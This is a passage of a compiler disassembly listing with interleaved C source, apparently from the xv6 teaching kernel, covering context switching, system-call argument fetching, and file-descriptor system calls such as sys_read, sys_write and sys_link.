movl $0x0,-0x4(%ebp) 801055f3: eb 04 jmp 801055f9 <strlen+0x13> 801055f5: 83 45 fc 01 addl $0x1,-0x4(%ebp) 801055f9: 8b 55 fc mov -0x4(%ebp),%edx 801055fc: 8b 45 08 mov 0x8(%ebp),%eax 801055ff: 01 d0 add %edx,%eax 80105601: 0f b6 00 movzbl (%eax),%eax 80105604: 84 c0 test %al,%al 80105606: 75 ed jne 801055f5 <strlen+0xf> ; return n; 80105608: 8b 45 fc mov -0x4(%ebp),%eax } 8010560b: c9 leave 8010560c: c3 ret 8010560d <swtch>: # Save current register context in old # and then load register context from new. .globl swtch swtch: movl 4(%esp), %eax 8010560d: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 80105611: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-save registers pushl %ebp 80105615: 55 push %ebp pushl %ebx 80105616: 53 push %ebx pushl %esi 80105617: 56 push %esi pushl %edi 80105618: 57 push %edi # Switch stacks movl %esp, (%eax) 80105619: 89 20 mov %esp,(%eax) movl %edx, %esp 8010561b: 89 d4 mov %edx,%esp # Load new callee-save registers popl %edi 8010561d: 5f pop %edi popl %esi 8010561e: 5e pop %esi popl %ebx 8010561f: 5b pop %ebx popl %ebp 80105620: 5d pop %ebp ret 80105621: c3 ret 80105622 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 80105622: 55 push %ebp 80105623: 89 e5 mov %esp,%ebp if(addr >= proc->sz || addr+4 > proc->sz) 80105625: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010562b: 8b 00 mov (%eax),%eax 8010562d: 3b 45 08 cmp 0x8(%ebp),%eax 80105630: 76 12 jbe 80105644 <fetchint+0x22> 80105632: 8b 45 08 mov 0x8(%ebp),%eax 80105635: 8d 50 04 lea 0x4(%eax),%edx 80105638: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010563e: 8b 00 mov (%eax),%eax 80105640: 39 c2 cmp %eax,%edx 80105642: 76 07 jbe 8010564b <fetchint+0x29> return -1; 80105644: b8 ff ff ff ff mov $0xffffffff,%eax 80105649: eb 0f jmp 8010565a <fetchint+0x38> *ip = *(int*)(addr); 8010564b: 8b 45 08 mov 0x8(%ebp),%eax 8010564e: 8b 10 mov (%eax),%edx 80105650: 8b 45 0c mov 0xc(%ebp),%eax 80105653: 89 10 mov %edx,(%eax) return 0; 80105655: b8 00 00 00 00 mov $0x0,%eax } 8010565a: 5d pop %ebp 8010565b: c3 ret 8010565c <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 8010565c: 55 push %ebp 8010565d: 89 e5 mov %esp,%ebp 8010565f: 83 ec 10 sub $0x10,%esp char *s, *ep; if(addr >= proc->sz) 80105662: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105668: 8b 00 mov (%eax),%eax 8010566a: 3b 45 08 cmp 0x8(%ebp),%eax 8010566d: 77 07 ja 80105676 <fetchstr+0x1a> return -1; 8010566f: b8 ff ff ff ff mov $0xffffffff,%eax 80105674: eb 46 jmp 801056bc <fetchstr+0x60> *pp = (char*)addr; 80105676: 8b 55 08 mov 0x8(%ebp),%edx 80105679: 8b 45 0c mov 0xc(%ebp),%eax 8010567c: 89 10 mov %edx,(%eax) ep = (char*)proc->sz; 8010567e: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105684: 8b 00 mov (%eax),%eax 80105686: 89 45 f8 mov %eax,-0x8(%ebp) for(s = *pp; s < ep; s++) 80105689: 8b 45 0c mov 0xc(%ebp),%eax 8010568c: 8b 00 mov (%eax),%eax 8010568e: 89 45 fc mov %eax,-0x4(%ebp) 80105691: eb 1c jmp 801056af <fetchstr+0x53> if(*s == 0) 80105693: 8b 45 fc mov -0x4(%ebp),%eax 80105696: 0f b6 00 movzbl (%eax),%eax 80105699: 84 c0 test %al,%al 8010569b: 75 0e jne 801056ab <fetchstr+0x4f> return s - *pp; 8010569d: 8b 55 fc mov -0x4(%ebp),%edx 801056a0: 8b 45 0c mov 0xc(%ebp),%eax 801056a3: 8b 00 mov (%eax),%eax 801056a5: 29 c2 sub %eax,%edx 801056a7: 89 d0 mov %edx,%eax 801056a9: eb 11 jmp 801056bc <fetchstr+0x60> if(addr >= proc->sz) return -1; *pp = (char*)addr; ep = (char*)proc->sz; for(s = *pp; s < ep; s++) 801056ab: 83 45 fc 01 addl $0x1,-0x4(%ebp) 801056af: 8b 45 fc mov -0x4(%ebp),%eax 801056b2: 3b 45 f8 cmp -0x8(%ebp),%eax 801056b5: 72 dc jb 80105693 <fetchstr+0x37> if(*s == 0) return s - *pp; return -1; 801056b7: b8 ff ff ff ff mov $0xffffffff,%eax } 801056bc: c9 leave 801056bd: c3 ret 801056be <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 801056be: 55 push %ebp 801056bf: 89 e5 mov %esp,%ebp return fetchint(proc->tf->esp + 4 + 4*n, ip); 801056c1: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801056c7: 8b 40 18 mov 0x18(%eax),%eax 801056ca: 8b 40 44 mov 0x44(%eax),%eax 801056cd: 8b 55 08 mov 0x8(%ebp),%edx 801056d0: c1 e2 02 shl $0x2,%edx 801056d3: 01 d0 add %edx,%eax 801056d5: 83 c0 04 add $0x4,%eax 801056d8: ff 75 0c pushl 0xc(%ebp) 801056db: 50 push %eax 801056dc: e8 41 ff ff ff call 80105622 <fetchint> 801056e1: 83 c4 08 add $0x8,%esp } 801056e4: c9 leave 801056e5: c3 ret 801056e6 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size n bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 801056e6: 55 push %ebp 801056e7: 89 e5 mov %esp,%ebp 801056e9: 83 ec 10 sub $0x10,%esp int i; if(argint(n, &i) < 0) 801056ec: 8d 45 fc lea -0x4(%ebp),%eax 801056ef: 50 push %eax 801056f0: ff 75 08 pushl 0x8(%ebp) 801056f3: e8 c6 ff ff ff call 801056be <argint> 801056f8: 83 c4 08 add $0x8,%esp 801056fb: 85 c0 test %eax,%eax 801056fd: 79 07 jns 80105706 <argptr+0x20> return -1; 801056ff: b8 ff ff ff ff mov $0xffffffff,%eax 80105704: eb 3b jmp 80105741 <argptr+0x5b> if((uint)i >= proc->sz || (uint)i+size > proc->sz) 80105706: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010570c: 8b 00 mov (%eax),%eax 8010570e: 8b 55 fc mov -0x4(%ebp),%edx 80105711: 39 d0 cmp %edx,%eax 80105713: 76 16 jbe 8010572b <argptr+0x45> 80105715: 8b 45 fc mov -0x4(%ebp),%eax 80105718: 89 c2 mov %eax,%edx 8010571a: 8b 45 10 mov 0x10(%ebp),%eax 8010571d: 01 c2 add %eax,%edx 8010571f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105725: 8b 00 mov (%eax),%eax 80105727: 39 c2 cmp %eax,%edx 80105729: 76 07 jbe 80105732 <argptr+0x4c> return -1; 8010572b: b8 ff ff ff ff mov $0xffffffff,%eax 80105730: eb 0f jmp 80105741 <argptr+0x5b> *pp = (char*)i; 80105732: 8b 45 fc mov -0x4(%ebp),%eax 80105735: 89 c2 mov %eax,%edx 80105737: 8b 45 0c mov 0xc(%ebp),%eax 8010573a: 89 10 mov %edx,(%eax) return 0; 8010573c: b8 00 00 00 00 mov $0x0,%eax } 80105741: c9 leave 80105742: c3 ret 80105743 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80105743: 55 push %ebp 80105744: 89 e5 mov %esp,%ebp 80105746: 83 ec 10 sub $0x10,%esp int addr; if(argint(n, &addr) < 0) 80105749: 8d 45 fc lea -0x4(%ebp),%eax 8010574c: 50 push %eax 8010574d: ff 75 08 pushl 0x8(%ebp) 80105750: e8 69 ff ff ff call 801056be <argint> 80105755: 83 c4 08 add $0x8,%esp 80105758: 85 c0 test %eax,%eax 8010575a: 79 07 jns 80105763 <argstr+0x20> return -1; 8010575c: b8 ff ff ff ff mov $0xffffffff,%eax 80105761: eb 0f jmp 80105772 <argstr+0x2f> return fetchstr(addr, pp); 80105763: 8b 45 fc mov -0x4(%ebp),%eax 80105766: ff 75 0c pushl 0xc(%ebp) 80105769: 50 push %eax 8010576a: e8 ed fe ff ff call 8010565c <fetchstr> 8010576f: 83 c4 08 add $0x8,%esp } 80105772: c9 leave 80105773: c3 ret 80105774 <syscall>: [SYS_gettime] sys_gettime, }; void syscall(void) { 80105774: 55 push %ebp 80105775: 89 e5 mov %esp,%ebp 80105777: 53 push %ebx 80105778: 83 ec 14 sub $0x14,%esp int num; num = proc->tf->eax; 8010577b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105781: 8b 40 18 mov 0x18(%eax),%eax 80105784: 8b 40 1c mov 0x1c(%eax),%eax 80105787: 89 45 f4 mov %eax,-0xc(%ebp) if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 8010578a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010578e: 7e 30 jle 801057c0 <syscall+0x4c> 80105790: 8b 45 f4 mov -0xc(%ebp),%eax 80105793: 83 f8 17 cmp $0x17,%eax 80105796: 77 28 ja 801057c0 <syscall+0x4c> 80105798: 8b 45 f4 mov -0xc(%ebp),%eax 8010579b: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax 801057a2: 85 c0 test %eax,%eax 801057a4: 74 1a je 801057c0 <syscall+0x4c> proc->tf->eax = syscalls[num](); 801057a6: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801057ac: 8b 58 18 mov 0x18(%eax),%ebx 801057af: 8b 45 f4 mov -0xc(%ebp),%eax 801057b2: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax 801057b9: ff d0 call *%eax 801057bb: 89 43 1c mov %eax,0x1c(%ebx) 801057be: eb 34 jmp 801057f4 <syscall+0x80> } else { cprintf("%d %s: unknown sys call %d\n", proc->pid, proc->name, num); 801057c0: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801057c6: 8d 50 6c lea 0x6c(%eax),%edx 801057c9: 65 a1 04 00 00 00 mov %gs:0x4,%eax num = proc->tf->eax; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { proc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", 801057cf: 8b 40 10 mov 0x10(%eax),%eax 801057d2: ff 75 f4 pushl -0xc(%ebp) 801057d5: 52 push %edx 801057d6: 50 push %eax 801057d7: 68 67 8d 10 80 push $0x80108d67 801057dc: e8 e5 ab ff ff call 801003c6 <cprintf> 801057e1: 83 c4 10 add $0x10,%esp proc->pid, proc->name, num); proc->tf->eax = -1; 801057e4: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801057ea: 8b 40 18 mov 0x18(%eax),%eax 801057ed: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } } 801057f4: 90 nop 801057f5: 8b 5d fc mov -0x4(%ebp),%ebx 801057f8: c9 leave 801057f9: c3 ret 801057fa <argfd>: // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) { 801057fa: 55 push %ebp 801057fb: 89 e5 mov %esp,%ebp 801057fd: 83 ec 18 sub $0x18,%esp int fd; struct file *f; if(argint(n, &fd) < 0) 80105800: 83 ec 08 sub $0x8,%esp 80105803: 8d 45 f0 lea -0x10(%ebp),%eax 80105806: 50 push %eax 80105807: ff 75 08 pushl 0x8(%ebp) 8010580a: e8 af fe ff ff call 801056be <argint> 8010580f: 83 c4 10 add $0x10,%esp 80105812: 85 c0 test %eax,%eax 80105814: 79 07 jns 8010581d <argfd+0x23> return -1; 80105816: b8 ff ff ff ff mov $0xffffffff,%eax 8010581b: eb 50 jmp 8010586d <argfd+0x73> if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0) 8010581d: 8b 45 f0 mov -0x10(%ebp),%eax 80105820: 85 c0 test %eax,%eax 80105822: 78 21 js 80105845 <argfd+0x4b> 80105824: 8b 45 f0 mov -0x10(%ebp),%eax 80105827: 83 f8 0f cmp $0xf,%eax 8010582a: 7f 19 jg 80105845 <argfd+0x4b> 8010582c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105832: 8b 55 f0 mov -0x10(%ebp),%edx 80105835: 83 c2 08 add $0x8,%edx 80105838: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 8010583c: 89 45 f4 mov %eax,-0xc(%ebp) 8010583f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80105843: 75 07 jne 8010584c <argfd+0x52> return -1; 80105845: b8 ff ff ff ff mov $0xffffffff,%eax 8010584a: eb 21 jmp 8010586d <argfd+0x73> if(pfd) 8010584c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 80105850: 74 08 je 8010585a <argfd+0x60> *pfd = fd; 80105852: 8b 55 f0 mov -0x10(%ebp),%edx 80105855: 8b 45 0c mov 0xc(%ebp),%eax 80105858: 89 10 mov %edx,(%eax) if(pf) 8010585a: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 8010585e: 74 08 je 80105868 <argfd+0x6e> *pf = f; 80105860: 8b 45 10 mov 0x10(%ebp),%eax 80105863: 8b 55 f4 mov -0xc(%ebp),%edx 80105866: 89 10 mov %edx,(%eax) return 0; 80105868: b8 00 00 00 00 mov $0x0,%eax } 8010586d: c9 leave 8010586e: c3 ret 8010586f <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 8010586f: 55 push %ebp 80105870: 89 e5 mov %esp,%ebp 80105872: 83 ec 10 sub $0x10,%esp int fd; for(fd = 0; fd < NOFILE; fd++){ 80105875: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 8010587c: eb 30 jmp 801058ae <fdalloc+0x3f> if(proc->ofile[fd] == 0){ 8010587e: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105884: 8b 55 fc mov -0x4(%ebp),%edx 80105887: 83 c2 08 add $0x8,%edx 8010588a: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 8010588e: 85 c0 test %eax,%eax 80105890: 75 18 jne 801058aa <fdalloc+0x3b> proc->ofile[fd] = f; 80105892: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105898: 8b 55 fc mov -0x4(%ebp),%edx 8010589b: 8d 4a 08 lea 0x8(%edx),%ecx 8010589e: 8b 55 08 mov 0x8(%ebp),%edx 801058a1: 89 54 88 08 mov %edx,0x8(%eax,%ecx,4) return fd; 801058a5: 8b 45 fc mov -0x4(%ebp),%eax 801058a8: eb 0f jmp 801058b9 <fdalloc+0x4a> static int fdalloc(struct file *f) { int fd; for(fd = 0; fd < NOFILE; fd++){ 801058aa: 83 45 fc 01 addl $0x1,-0x4(%ebp) 801058ae: 83 7d fc 0f cmpl $0xf,-0x4(%ebp) 801058b2: 7e ca jle 8010587e <fdalloc+0xf> if(proc->ofile[fd] == 0){ proc->ofile[fd] = f; return fd; } } return -1; 801058b4: b8 ff ff ff ff mov $0xffffffff,%eax } 801058b9: c9 leave 801058ba: c3 ret 801058bb <sys_dup>: int sys_dup(void) { 801058bb: 55 push %ebp 801058bc: 89 e5 mov %esp,%ebp 801058be: 83 ec 18 sub $0x18,%esp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 801058c1: 83 ec 04 sub $0x4,%esp 801058c4: 8d 45 f0 lea -0x10(%ebp),%eax 801058c7: 50 push %eax 801058c8: 6a 00 push $0x0 801058ca: 6a 00 push $0x0 801058cc: e8 29 ff ff ff call 801057fa <argfd> 801058d1: 83 c4 10 add $0x10,%esp 801058d4: 85 c0 test %eax,%eax 801058d6: 79 07 jns 801058df <sys_dup+0x24> return -1; 801058d8: b8 ff ff ff ff mov $0xffffffff,%eax 801058dd: eb 31 jmp 80105910 <sys_dup+0x55> if((fd=fdalloc(f)) < 0) 801058df: 8b 45 f0 mov -0x10(%ebp),%eax 801058e2: 83 ec 0c sub $0xc,%esp 801058e5: 50 push %eax 801058e6: e8 84 ff ff ff call 8010586f <fdalloc> 801058eb: 83 c4 10 add $0x10,%esp 801058ee: 89 45 f4 mov %eax,-0xc(%ebp) 801058f1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801058f5: 79 07 jns 801058fe <sys_dup+0x43> return -1; 801058f7: b8 ff ff ff ff mov $0xffffffff,%eax 801058fc: eb 12 jmp 80105910 <sys_dup+0x55> filedup(f); 801058fe: 8b 45 f0 mov -0x10(%ebp),%eax 80105901: 83 ec 0c sub $0xc,%esp 80105904: 50 push %eax 80105905: e8 f6 b6 ff ff call 80101000 <filedup> 8010590a: 83 c4 10 add $0x10,%esp return fd; 8010590d: 8b 45 f4 mov -0xc(%ebp),%eax } 80105910: c9 leave 80105911: c3 ret 80105912 <sys_read>: int sys_read(void) { 80105912: 55 push %ebp 80105913: 89 e5 mov %esp,%ebp 80105915: 83 ec 18 sub $0x18,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80105918: 83 ec 04 sub $0x4,%esp 8010591b: 8d 45 f4 lea -0xc(%ebp),%eax 8010591e: 50 push %eax 8010591f: 6a 00 push $0x0 80105921: 6a 00 push $0x0 80105923: e8 d2 fe ff ff call 801057fa <argfd> 80105928: 83 c4 10 add $0x10,%esp 8010592b: 85 c0 test %eax,%eax 8010592d: 78 2e js 8010595d <sys_read+0x4b> 8010592f: 83 ec 08 sub $0x8,%esp 80105932: 8d 45 f0 lea -0x10(%ebp),%eax 80105935: 50 push %eax 80105936: 6a 02 push $0x2 80105938: e8 81 fd ff ff call 801056be <argint> 8010593d: 83 c4 10 add $0x10,%esp 80105940: 85 c0 test %eax,%eax 80105942: 78 19 js 8010595d <sys_read+0x4b> 80105944: 8b 45 f0 mov -0x10(%ebp),%eax 80105947: 83 ec 04 sub $0x4,%esp 8010594a: 50 push %eax 8010594b: 8d 45 ec lea -0x14(%ebp),%eax 8010594e: 50 push %eax 8010594f: 6a 01 push $0x1 80105951: e8 90 fd ff ff call 801056e6 <argptr> 80105956: 83 c4 10 add $0x10,%esp 80105959: 85 c0 test %eax,%eax 8010595b: 79 07 jns 80105964 <sys_read+0x52> return -1; 8010595d: b8 ff ff ff ff mov $0xffffffff,%eax 80105962: eb 17 jmp 8010597b <sys_read+0x69> return fileread(f, p, n); 80105964: 8b 4d f0 mov -0x10(%ebp),%ecx 80105967: 8b 55 ec mov -0x14(%ebp),%edx 8010596a: 8b 45 f4 mov -0xc(%ebp),%eax 8010596d: 83 ec 04 sub $0x4,%esp 80105970: 51 push %ecx 80105971: 52 push %edx 80105972: 50 push %eax 80105973: e8 18 b8 ff ff call 80101190 <fileread> 80105978: 83 c4 10 add $0x10,%esp } 8010597b: c9 leave 8010597c: c3 ret 8010597d <sys_write>: int sys_write(void) { 8010597d: 55 push %ebp 8010597e: 89 e5 mov %esp,%ebp 80105980: 83 ec 18 sub $0x18,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80105983: 83 ec 04 sub $0x4,%esp 80105986: 8d 45 f4 lea -0xc(%ebp),%eax 80105989: 50 push %eax 8010598a: 6a 00 push $0x0 8010598c: 6a 00 push $0x0 8010598e: e8 67 fe ff ff call 801057fa <argfd> 80105993: 83 c4 10 add $0x10,%esp 80105996: 85 c0 test %eax,%eax 80105998: 78 2e js 801059c8 <sys_write+0x4b> 8010599a: 83 ec 08 sub $0x8,%esp 8010599d: 8d 45 f0 lea -0x10(%ebp),%eax 801059a0: 50 push %eax 801059a1: 6a 02 push $0x2 801059a3: e8 16 fd ff ff call 801056be <argint> 801059a8: 83 c4 10 add $0x10,%esp 801059ab: 85 c0 test %eax,%eax 801059ad: 78 19 js 801059c8 <sys_write+0x4b> 801059af: 8b 45 f0 mov -0x10(%ebp),%eax 801059b2: 83 ec 04 sub $0x4,%esp 801059b5: 50 push %eax 801059b6: 8d 45 ec lea -0x14(%ebp),%eax 801059b9: 50 push %eax 801059ba: 6a 01 push $0x1 801059bc: e8 25 fd ff ff call 801056e6 <argptr> 801059c1: 83 c4 10 add $0x10,%esp 801059c4: 85 c0 test %eax,%eax 801059c6: 79 07 jns 801059cf <sys_write+0x52> return -1; 801059c8: b8 ff ff ff ff mov $0xffffffff,%eax 801059cd: eb 17 jmp 801059e6 <sys_write+0x69> return filewrite(f, p, n); 801059cf: 8b 4d f0 mov -0x10(%ebp),%ecx 801059d2: 8b 55 ec mov -0x14(%ebp),%edx 801059d5: 8b 45 f4 mov -0xc(%ebp),%eax 801059d8: 83 ec 04 sub $0x4,%esp 801059db: 51 push %ecx 801059dc: 52 push %edx 801059dd: 50 push %eax 801059de: e8 65 b8 ff ff call 80101248 <filewrite> 801059e3: 83 c4 10 add $0x10,%esp } 801059e6: c9 leave 801059e7: c3 ret 801059e8 <sys_close>: int sys_close(void) { 801059e8: 55 push %ebp 801059e9: 89 e5 mov %esp,%ebp 801059eb: 83 ec 18 sub $0x18,%esp int fd; struct file *f; if(argfd(0, &fd, &f) < 0) 801059ee: 83 ec 04 sub $0x4,%esp 801059f1: 8d 45 f0 lea -0x10(%ebp),%eax 801059f4: 50 push %eax 801059f5: 8d 45 f4 lea -0xc(%ebp),%eax 801059f8: 50 push %eax 801059f9: 6a 00 push $0x0 801059fb: e8 fa fd ff ff call 801057fa <argfd> 80105a00: 83 c4 10 add $0x10,%esp 80105a03: 85 c0 test %eax,%eax 80105a05: 79 07 jns 80105a0e <sys_close+0x26> return -1; 80105a07: b8 ff ff ff ff mov $0xffffffff,%eax 80105a0c: eb 28 jmp 80105a36 <sys_close+0x4e> proc->ofile[fd] = 0; 80105a0e: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105a14: 8b 55 f4 mov -0xc(%ebp),%edx 80105a17: 83 c2 08 add $0x8,%edx 80105a1a: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4) 80105a21: 00 fileclose(f); 80105a22: 8b 45 f0 mov -0x10(%ebp),%eax 80105a25: 83 ec 0c sub $0xc,%esp 80105a28: 50 push %eax 80105a29: e8 23 b6 ff ff call 80101051 <fileclose> 80105a2e: 83 c4 10 add $0x10,%esp return 0; 80105a31: b8 00 00 00 00 mov $0x0,%eax } 80105a36: c9 leave 80105a37: c3 ret 80105a38 <sys_fstat>: int sys_fstat(void) { 80105a38: 55 push %ebp 80105a39: 89 e5 mov %esp,%ebp 80105a3b: 83 ec 18 sub $0x18,%esp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80105a3e: 83 ec 04 sub $0x4,%esp 80105a41: 8d 45 f4 lea -0xc(%ebp),%eax 80105a44: 50 push %eax 80105a45: 6a 00 push $0x0 80105a47: 6a 00 push $0x0 80105a49: e8 ac fd ff ff call 801057fa <argfd> 80105a4e: 83 c4 10 add $0x10,%esp 80105a51: 85 c0 test %eax,%eax 80105a53: 78 17 js 80105a6c <sys_fstat+0x34> 80105a55: 83 ec 04 sub $0x4,%esp 80105a58: 6a 14 push $0x14 80105a5a: 8d 45 f0 lea -0x10(%ebp),%eax 80105a5d: 50 push %eax 80105a5e: 6a 01 push $0x1 80105a60: e8 81 fc ff ff call 801056e6 <argptr> 80105a65: 83 c4 10 add $0x10,%esp 80105a68: 85 c0 test %eax,%eax 80105a6a: 79 07 jns 80105a73 <sys_fstat+0x3b> return -1; 80105a6c: b8 ff ff ff ff mov $0xffffffff,%eax 80105a71: eb 13 jmp 80105a86 <sys_fstat+0x4e> return filestat(f, st); 80105a73: 8b 55 f0 mov -0x10(%ebp),%edx 80105a76: 8b 45 f4 mov -0xc(%ebp),%eax 80105a79: 83 ec 08 sub $0x8,%esp 80105a7c: 52 push %edx 80105a7d: 50 push %eax 80105a7e: e8 b6 b6 ff ff call 80101139 <filestat> 80105a83: 83 c4 10 add $0x10,%esp } 80105a86: c9 leave 80105a87: c3 ret 80105a88 <sys_link>: // Create the path new as a link to the same inode as old. int sys_link(void) { 80105a88: 55 push %ebp 80105a89: 89 e5 mov %esp,%ebp 80105a8b: 83 ec 28 sub $0x28,%esp char name[DIRSIZ], *new, *old; struct inode *dp, *ip; if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80105a8e: 83 ec 08 sub $0x8,%esp 80105a91: 8d 45 d8 lea -0x28(%ebp),%eax 80105a94: 50 push %eax 80105a95: 6a 00 push $0x0 80105a97: e8 a7 fc ff ff call 80105743 <argstr> 80105a9c: 83 c4 10 add $0x10,%esp 80105a9f: 85 c0 test %eax,%eax 80105aa1: 78 15 js 80105ab8 <sys_link+0x30> 80105aa3: 83 ec 08 sub $0x8,%esp 80105aa6: 8d 45 dc lea -0x24(%ebp),%eax 80105aa9: 50 push %eax 80105aaa: 6a 01 push $0x1 80105aac: e8 92 fc ff ff call 80105743 <argstr> 80105ab1: 83 c4 10 add $0x10,%esp 80105ab4: 85 c0 test %eax,%eax 80105ab6: 79 0a jns 80105ac2 <sys_link+0x3a> return -1; 80105ab8: b8 ff ff ff ff mov $0xffffffff,%eax 80105abd: e9 68 01 00 00 jmp 80105c2a <sys_link+0x1a2> begin_op(); 80105ac2: e8 86 da ff ff call 8010354d <begin_op> if((ip = namei(old)) == 0){ 80105ac7: 8b 45 d8 mov -0x28(%ebp),%eax 80105aca: 83 ec 0c sub $0xc,%esp 80105acd: 50 push %eax 80105ace: e8 55 ca ff ff call 80102528 <namei> 80105ad3: 83 c4 10 add $0x10,%esp 80105ad6: 89 45 f4 mov %eax,-0xc(%ebp) 80105ad9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80105add: 75 0f jne 80105aee <sys_link+0x66> end_op(); 80105adf: e8 f5 da ff ff call 801035d9 <end_op> return -1; 80105ae4: b8 ff ff ff ff mov $0xffffffff,%eax 80105ae9: e9 3c 01 00 00 jmp 80105c2a <sys_link+0x1a2> } ilock(ip); 80105aee: 83 ec 0c sub $0xc,%esp 80105af1: ff 75 f4 pushl -0xc(%ebp) 80105af4: e8 71 be ff ff call 8010196a <ilock> 80105af9: 83 c4 10 add $0x10,%esp if(ip->type == T_DIR){ 80105afc: 8b 45 f4 mov -0xc(%ebp),%eax 80105aff: 0f b7 40 10 movzwl 0x10(%eax),%eax 80105b03: 66 83 f8 01 cmp $0x1,%ax 80105b07: 75 1d jne 80105b26 <sys_link+0x9e> iunlockput(ip); 80105b09: 83 ec 0c sub $0xc,%esp 80105b0c: ff 75 f4 pushl -0xc(%ebp) 80105b0f: e8 16 c1 ff ff call 80101c2a <iunlockput> 80105b14: 83 c4 10 add $0x10,%esp end_op(); 80105b17: e8 bd da ff ff call 801035d9 <end_op> return -1; 80105b1c: b8 ff ff ff ff mov $0xffffffff,%eax 80105b21: e9 04 01 00 00 jmp 80105c2a <sys_link+0x1a2> } ip->nlink++; 80105b26: 8b 45 f4 mov -0xc(%ebp),%eax 80105b29: 0f b7 40 16 movzwl 0x16(%eax),%eax 80105b2d: 83 c0 01 add $0x1,%eax 80105b30: 89 c2 mov %eax,%edx 80105b32: 8b 45 f4 mov -0xc(%ebp),%eax 80105b35: 66 89 50 16 mov %dx,0x16(%eax) iupdate(ip); 80105b39: 83 ec 0c sub $0xc,%esp 80105b3c: ff 75 f4 pushl -0xc(%ebp) 80105b3f: e8 4c bc ff ff call 80101790 <iupdate> 80105b44: 83 c4 10 add $0x10,%esp iunlock(ip); 80105b47: 83 ec 0c sub $0xc,%esp 80105b4a: ff 75 f4 pushl -0xc(%ebp) 80105b4d: e8 76 bf ff ff call 80101ac8 <iunlock> 80105b52: 83 c4 10 add $0x10,%esp if((dp = nameiparent(new, name)) == 0) 80105b55: 8b 45 dc mov -0x24(%ebp),%eax 80105b58: 83 ec 08 sub $0x8,%esp 80105b5b: 8d 55 e2 lea -0x1e(%ebp),%edx 80105b5e: 52 push %edx 80105b5f: 50 push %eax 80105b60: e8 df c9 ff ff call 80102544 <nameiparent> 80105b65: 83 c4 10 add $0x10,%esp 80105b68: 89 45 f0 mov %eax,-0x10(%ebp) 80105b6b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80105b6f: 74 71 je 80105be2 <sys_link+0x15a> goto bad; ilock(dp); 80105b71: 83 ec 0c sub $0xc,%esp 80105b74: ff 75 f0 pushl -0x10(%ebp) 80105b77: e8 ee bd ff ff call 8010196a <ilock> 80105b7c: 83 c4 10 add $0x10,%esp if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80105b7f: 8b 45 f0 mov -0x10(%ebp),%eax 80105b82: 8b 10 mov (%eax),%edx 80105b84: 8b 45 f4 mov -0xc(%ebp),%eax 80105b87: 8b 00 mov (%eax),%eax 80105b89: 39 c2 cmp %eax,%edx 80105b8b: 75 1d jne 80105baa <sys_link+0x122> 80105b8d: 8b 45 f4 mov -0xc(%ebp),%eax 80105b90: 8b 40 04 mov 0x4(%eax),%eax 80105b93: 83 ec 04 sub $0x4,%esp 80105b96: 50 push %eax 80105b97: 8d 45 e2 lea -0x1e(%ebp),%eax 80105b9a: 50 push %eax 80105b9b: ff 75 f0 pushl -0x10(%ebp) 80105b9e: e8 e9 c6 ff ff call 8010228c <dirlink> 80105ba3: 83 c4 10 add $0x10,%esp 80105ba6: 85 c0 test %eax,%eax 80105ba8: 79 10 jns 80105bba <sys_link+0x132> iunlockput(dp); 80105baa: 83 ec 0c sub $0xc,%esp 80105bad: ff 75 f0 